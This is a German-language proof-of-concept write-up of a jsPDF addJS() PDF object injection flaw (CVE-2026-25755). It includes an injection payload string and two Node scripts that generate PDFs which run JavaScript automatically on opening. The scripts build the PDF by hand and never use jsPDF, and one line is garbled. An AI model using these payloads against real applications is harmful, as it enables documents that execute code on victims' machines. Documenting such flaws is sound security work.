
CVE-2026-25755 Eine kritische PDF-Objektinjektions-Schwachstelle in jsPDF ermöglicht es Angreifern, beliebige PDF-Objekte über die Funktion `addJS()` einzuschleusen, was einen AcroJS-Sandbox-Bypass und die automatische Skriptausführung beim Öffnen von PDFs ermöglicht.
Eine kritische PDF-Objektinjektions-Schwachstelle (CVE-2026-25755) wurde in jsPDF entdeckt, einer weit verbreiteten JavaScript-Bibliothek zur Erzeugung von PDF-Dokumenten in clientseitigen Anwendungen. Die Schwachstelle existiert in der Funktion addJS(), die es Angreifern ermöglicht, beliebige PDF-Objekte zu injizieren und die AcroJS-Sandbox-Beschränkungen durch unzureichende Eingabebereinigung zu umgehen.
Die Funktion addJS() in jsPDF ermöglicht Entwicklern, JavaScript-Code in erzeugte PDF-Dateien einzubetten. Vor Version 4.2.0 gelang es der Funktion jedoch nicht, Benutzereingaben mit speziellen PDF-Syntaxzeichen ordnungsgemäß zu bereinigen.
function addJS(javascript) {
this.internal.write("/JS (" + javascript + ")");
}
Die Funktion verkettet Benutzereingaben direkt in PDF-Objektströme, ohne diese zu escapen:
()\Dies ermöglicht es Angreifern, den JavaScript-String-Kontext vorzeitig zu schließen und beliebige PDF-Objekte zu injizieren.
/JS (app.alert('Hello World'))
const payload = ") >> /AA << /Open << /S /JavaScript /JS (app.alert('absholi7ly!')) >> >> /Dummy (";
/JS () >> /AA << /Open << /S /JavaScript /JS (app.alert('Hacked!')) >> >> /Dummy ())
↑
Injektionspunkt - String-Kontext umgangen
| Schritt | Aktion | Ergebnis |
|---|---|---|
| 1 | ) schließt den ursprünglichen /JS-String | String-Kontext beendet |
| 2 | >> schließt das aktuelle PDF-Objekt | Objektstruktur aufgebrochen |
| 3 | /AA << /Open << ... | Neues Aktionswörterbuch injiziert |
| 4 | Beliebige PDF-Objekte hinzugefügt | Vollständige Objektinjektion erreicht |
Erstellen Sie eine Datei mit dem Namen exploit.js und schreiben Sie Folgendes hinein
import fs from 'fs';
const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(
app.launchURL\\('https://google.com',true\\);
)>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f
0000000015 00000 n
0000000092 00000 n
0000000275 00000 n
0000000352 00000 n
trailer
<</Size 5/Root 1 0 R>>
startxref
431
%%EOF`;
fs.writeFileSync('exploit.pdf', pdf);
import fs from 'fs';
const pdf = `%PDF-1.4
1 0 obj
<</Type/Catalog/OpenAction 2 0 R/Pages 3 0 R>>
endobj
2 0 obj
<</Type/Action/S/JavaScript/JS(app.alert\\('absholi7ly',3\\))>>
endobj
3 0 obj
<</Type/Pages/Kids[4 0 R]/Count 1>>
endobj
4 0 obj
<</Type/Page/Parent 3 0 R/MediaBox[0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f
0000000015 00000 n
0000000089 00000 n
0000000172 00000 n
0000000249 00000 n
trailer
<</Size 5/Root 1 0 R>>
startxref
328
%%EOF`;
fs.writeFileSync('exploit.pdf', pdf);
Führen Sie node exploit.js aus